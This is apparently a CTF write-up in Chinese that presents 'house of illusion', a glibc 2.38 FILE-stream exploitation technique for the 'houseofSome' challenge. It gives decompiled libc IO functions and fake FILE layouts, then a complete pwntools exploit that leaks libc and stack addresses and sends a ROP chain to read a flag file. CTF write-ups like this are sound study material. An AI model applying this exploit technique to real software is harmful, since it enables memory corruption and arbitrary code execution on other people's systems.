house_of_illusion -- new read/write primitive

通过春秋杯的houseofSome做题过程中发现的新读写原语(与出题人交流发现这条write primitive已经有研究了,但是笔者的read primitive确实是新的,暂且把这种组合利用称为house of illusion)

这题使用了patch过的glibc-2.38_wide_data加入了_vtable_checkhouse_of_apple2系列就都失效了,想要打io,我们必须用原有的vtable函数来实现 写或读原语,劫持_IO_list_all是必要的。

这题只能泄露libc地址,并且只能将一个字节写成\x00,我们发现fopen会将打开的dev插入_IO_list_all,并且dev的地址是堆地址,就可以通过覆写_IO_list_all低地址,劫持到可控的堆地址,接下来就是实现read/write primitive

write primitive

原先打io利用的:

1
vtable->__overflow((FILE *)chain, -1)

也就是调用了_IO_new_file_overflow,在这个函数中存在:

1
2
3
4
if ( ch_0 == -1 )
{
return IO_new_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);
}
1
2
3
4
5
6
7
8
int __fastcall _IO_new_do_write(FILE_0 *fp, const char *data, size_t to_do)
{
if ( !to_do )
return 0;
if ( to_do == new_do_write(fp, data, to_do) )
return 0;
return -1;
}

new_do_write可以调用_vtables + 0x78的函数,也就是_IO_new_file_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
size_t __fastcall new_do_write(FILE_0 *fp, const char *data, size_t to_do)
{
__int64 v5; // r12
__int64 v6; // rax
size_t v7; // r12
unsigned __int16 cur_column; // di
char *IO_buf_base; // rax
__int64 v11; // r12
__off64_t v12; // rax

if ( (fp->_flags & 0x1000) != 0 )
{
fp->_offset = -1LL;
}
else if ( fp->_IO_read_end != fp->_IO_write_base )
{
v11 = *(_QWORD *)&fp[1]._flags;
if ( (unsigned __int64)(v11 - (_QWORD)_io_vtables) > 0x92F )
IO_vtable_check();
v12 = (*(__int64 (__fastcall **)(FILE_0 *, signed __int64, __int64))(v11 + 0x80))(
fp,
fp->_IO_write_base - fp->_IO_read_end,
1LL);
if ( v12 == -1 )
return 0LL;
fp->_offset = v12;
}
v5 = *(_QWORD *)&fp[1]._flags;
if ( (unsigned __int64)(v5 - (_QWORD)_io_vtables) > 0x92F )
IO_vtable_check();
v6 = (*(__int64 (__fastcall **)(FILE_0 *, const char *, size_t))(v5 + 0x78))(fp, data, to_do);
v7 = v6;
cur_column = fp->_cur_column;
if ( cur_column && v6 )
fp->_cur_column = _GI__IO_adjust_column(cur_column - 1, data, v6) + 1;
IO_buf_base = fp->_IO_buf_base;
fp->_IO_read_base = IO_buf_base;
fp->_IO_read_ptr = IO_buf_base;
fp->_IO_read_end = IO_buf_base;
fp->_IO_write_ptr = IO_buf_base;
fp->_IO_write_base = IO_buf_base;
if ( fp->_mode > 0 || (fp->_flags & 0x202) == 0 )
IO_buf_base = fp->_IO_buf_end;
fp->_IO_write_end = IO_buf_base;
return v7;
}

_IO_new_file_write就实现了真正的write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ssize_t __fastcall IO_new_file_write(FILE_0 *f, const void *data, ssize_t n)
{
signed __int64 v5; // rbx
ssize_t v6; // rax
ssize_t result; // rax
__off64_t offset; // rdx

v5 = n;
while ( v5 > 0 )
{
if ( (f->_flags2 & 2) != 0 )
v6 = _GI___write_nocancel(f->_fileno, data, v5);
else
v6 = _GI___libc_write(f->_fileno, data, v5);
if ( v6 < 0 )
{
f->_flags |= 0x20u;
break;
}
v5 -= v6;
data = (char *)data + v6;
}
result = n - v5;
offset = f->_offset;
if ( offset >= 0 )
f->_offset = result + offset;
return result;
}

从而可以构造write primitive

1
2
3
4
5
6
7
8
9
fake_io_write = fit({
0x00: 0x8000 | 0x800 | 0x1000, #_flags
0x20: write_addr, #_IO_write_base
0x28: write_addr + len, #_IO_write_ptr
0x68: next_FILE, #_chain
0x70: 1, # _fileno
0xc0: 0, #_modes
0xd8: _IO_file_jumps, #_vtables
}, filler=b'\x00')

read primitive

read primitive需要知道_IO_file_jumps长啥样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
00:00000x7ffff7dbe450 (_IO_file_jumps) ◂— 0x0
01:00080x7ffff7dbe458 (_IO_file_jumps+8) ◂— 0x0
02:00100x7ffff7dbe460 (_IO_file_jumps+16) —▸ 0x7ffff7c78739 (__SI_IO_new_file_finish_3) ◂— endbr64 <-
03:00180x7ffff7dbe468 (_IO_file_jumps+24) —▸ 0x7ffff7c791c3 (__SI_IO_new_file_overflow_8) ◂— endbr64 <-
04:00200x7ffff7dbe470 (_IO_file_jumps+32) —▸ 0x7ffff7c78df2 (__SI_IO_new_file_underflow_10) ◂— endbr64
05:00280x7ffff7dbe478 (_IO_file_jumps+40) —▸ 0x7ffff7c7ae8f (_IO_default_uflow) ◂— endbr64
06:00300x7ffff7dbe480 (_IO_file_jumps+48) —▸ 0x7ffff7c7bc72 (_IO_default_pbackfail) ◂— endbr64
07:00380x7ffff7dbe488 (_IO_file_jumps+56) —▸ 0x7ffff7c79b8f (__SI_IO_new_file_xsputn_12) ◂— endbr64
08:00400x7ffff7dbe490 (_IO_file_jumps+64) —▸ 0x7ffff7c79d53 (__GI__IO_file_xsgetn) ◂— endbr64
09:00480x7ffff7dbe498 (_IO_file_jumps+72) —▸ 0x7ffff7c794d7 (__SI_IO_new_file_seekoff_9) ◂— endbr64
0a:00500x7ffff7dbe4a0 (_IO_file_jumps+80) —▸ 0x7ffff7c7b18d (_IO_default_seekpos) ◂— endbr64
0b:00580x7ffff7dbe4a8 (_IO_file_jumps+88) —▸ 0x7ffff7c78d38 (__SI_IO_new_file_setbuf_6) ◂— endbr64
0c:00600x7ffff7dbe4b0 (_IO_file_jumps+96) —▸ 0x7ffff7c7939a (__SI_IO_new_file_sync_7) ◂— endbr64
0d:00680x7ffff7dbe4b8 (_IO_file_jumps+104) —▸ 0x7ffff7c6c7d3 (_IO_file_doallocate) ◂— endbr64
0e:00700x7ffff7dbe4c0 (_IO_file_jumps+112) —▸ 0x7ffff7c79a75 (_IO_file_read) ◂— endbr64 <-
0f:00780x7ffff7dbe4c8 (_IO_file_jumps+120) —▸ 0x7ffff7c79b0b (__SI_IO_new_file_write_11) ◂— endbr64 <-
10:00800x7ffff7dbe4d0 (_IO_file_jumps+128) —▸ 0x7ffff7c79a9a (_IO_file_seek) ◂— endbr64
11:00880x7ffff7dbe4d8 (_IO_file_jumps+136) —▸ 0x7ffff7c79af6 (_IO_file_close) ◂— endbr64
12:00900x7ffff7dbe4e0 (_IO_file_jumps+144) —▸ 0x7ffff7c79aaf (_IO_file_stat) ◂— endbr64
13:00980x7ffff7dbe4e8 (_IO_file_jumps+152) —▸ 0x7ffff7c7bdd2 (_IO_default_showmanyc) ◂— endbr64

write primitive中我们调用了_IO_new_file_overflow和其中的_IO_new_file_write,对应偏移0x180x78

read primitive中我们通过将_vtables减去0x8,也就能调用_IO_new_file_finish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall IO_new_file_finish(FILE_0 *fp, int dummy)
{
__int64 v2; // rbp

if ( fp->_fileno != -1 )
{
if ( fp->_mode <= 0 )
IO_new_do_write(fp, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base);
else
_GI__IO_wdo_write(
fp,
fp->_wide_data->_IO_write_base,
fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base);
if ( (fp->_flags & 0x40) == 0 )
{
v2 = *(_QWORD *)&fp[1]._flags;
if ( (unsigned __int64)(v2 - (_QWORD)_io_vtables) > 0x92F )
IO_vtable_check();
(*(void (__fastcall **)(FILE_0 *))(v2 + 0x88))(fp);
}
}
_GI__IO_default_finish(fp, 0);
}

恰巧里面刚好也有_IO_new_do_write,由于它是通过_vtables + 0x78调用函数,所以实际调用_IO_file_read

1
2
3
4
5
6
7
ssize_t __fastcall _GI__IO_file_read(FILE_0 *fp, void *buf, ssize_t size)
{
if ( (fp->_flags2 & 2) != 0 )
return _GI___read_nocancel(fp->_fileno, buf, size);
else
return _GI___libc_read(fp->_fileno, buf, size);
}

从而能得出read primitive

1
2
3
4
5
6
7
8
9
fake_io_read = fit({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: read_addr, #_IO_write_base
0x28: read_addr + len, #_IO_write_ptr
0x68: next_FILE, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: _IO_file_jumps - 0x8, #_vtables
}, filler=b'\x00')

conclude

笔者的这两个primitive,需要leak libc地址、劫持_IO_list_all,触发IO流。

可以通过读原语,将第一个fake FILE_chain指向要写入的libc地址,再向指向libc地址写入一连串linkedfake FILE,这样可以在_IO_flush_all完成后续多次利用。

且读和写的地址和长度都由_IO_write_base_IO_write_ptr - _IO_write_base计算得到,实现非常方便。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
context.update(os = 'linux',arch = 'amd64')
context.log_level = 'debug'
binary = './houseofsome'
elf = ELF(binary)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6')
host = '39.106.48.123'
port = '27653'
p = remote(host,port)

def pwn():
p.sendlineafter(b"> ", b'-')
p.recvuntil(b"invalid option ")
libc.address = int(p.recvuntil(b'.\n', drop=True), 10) - libc.sym["_IO_2_1_stdout_"]
_IO_list_all = libc.sym["_IO_list_all"]
_IO_file_jumps = libc.sym["_IO_file_jumps"]
__free_hook = libc.sym["__free_hook"]
info("libc: {}".format(hex(libc.address)))

p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"size> ", str(0x1048-1).encode())
p.recvuntil(b"name> ")

fake_io_read = fit({
0xf60: 0x8000 | 0x40 | 0x1000, #_flags
0xf60+0x20: 0x114514000, #_IO_write_base
0xf60+0x28: 0x114514000 + 0x500, #_IO_write_ptr
0xf60+0x68: 0x114514000, #_chain
0xf60+0x70: 0, # _fileno
# 0xf60+0x88: libc.address + 0x2218f0
0xf60+0xc0: 0, #_modes
0xf60+0xd8: _IO_file_jumps - 0x8, #_vtables
}, filler=b'\x00')

p.sendline(fake_io_read)

# open dev
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'2')

# trigger
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"offset> ", str(_IO_list_all - 0x114514000).encode())
p.sendlineafter(b"length> ", b'1')

p.sendlineafter(b"> ", b'5')

pay = b""
fake_io_write = fit({
0x00: 0x8000 | 0x800 | 0x1000, #_flags
0x20: libc.sym["environ"], #_IO_write_base
0x28: libc.sym["environ"] + 8, #_IO_write_ptr
0x68: 0x114514000 + 0x100, #_chain
0x70: 1, # _fileno
# 0xf60+0x88: libc.address + 0x2218f0
0xc0: 0, #_modes
0xd8: _IO_file_jumps, #_vtables
}, filler=b'\x00')
pay = fake_io_write.ljust(0x100, b'\x00')

fake_io_read = fit({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: 0x114514000 + 0x200, #_IO_write_base
0x28: 0x114514000 + 0x500, #_IO_write_ptr
0x68: 0x114514000 + 0x200, #_chain
0x70: 0, # _fileno
# 0xf60+0x88: libc.address + 0x2218f0
0xc0: 0, #_modes
0xd8: _IO_file_jumps - 0x8, #_vtables
}, filler=b'\x00')
pay += fake_io_read.ljust(0x100, b'\x00')

sleep(0.3)
p.send(pay)

stack = u64(p.recvn(8))
target = stack - 0x230
info("stack: {}".format(hex(stack)))

fake_io_read = fit({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target + 0x200, #_IO_write_ptr
0x68: 0, #_chain
0x70: 0, # _fileno
# 0xf60+0x88: libc.address + 0x2218f0
0xc0: 0, #_modes
0xd8: _IO_file_jumps - 0x8, #_vtables
}, filler=b'\x00')
sleep(0.3)
# gdb.attach(p, "b _IO_new_file_finish")
p.send(fake_io_read)

pop_rdi_ret = libc.address + 0x0000000000028839
pop_rsi_ret = libc.address + 0x0000000000028b65
pop_rdx_ret = libc.address + 0x0000000000096272
pop_rax_ret = libc.address + 0x00000000000b8177
syscall_ret = libc.address + 0x000000000007d959

rop = flat([
pop_rax_ret, 2,
pop_rdi_ret, target + 0xa8,
pop_rsi_ret, 0,
syscall_ret,

pop_rax_ret, 0,
pop_rdi_ret, 4,
pop_rsi_ret, target + 0x150,
pop_rdx_ret, 0x30,
syscall_ret,

pop_rax_ret, 1,
pop_rdi_ret, 1,
syscall_ret,
"flag\x00\x00\x00\x00"
])
sleep(0.3)
# pause()
p.send(rop)

p.interactive()
pwn()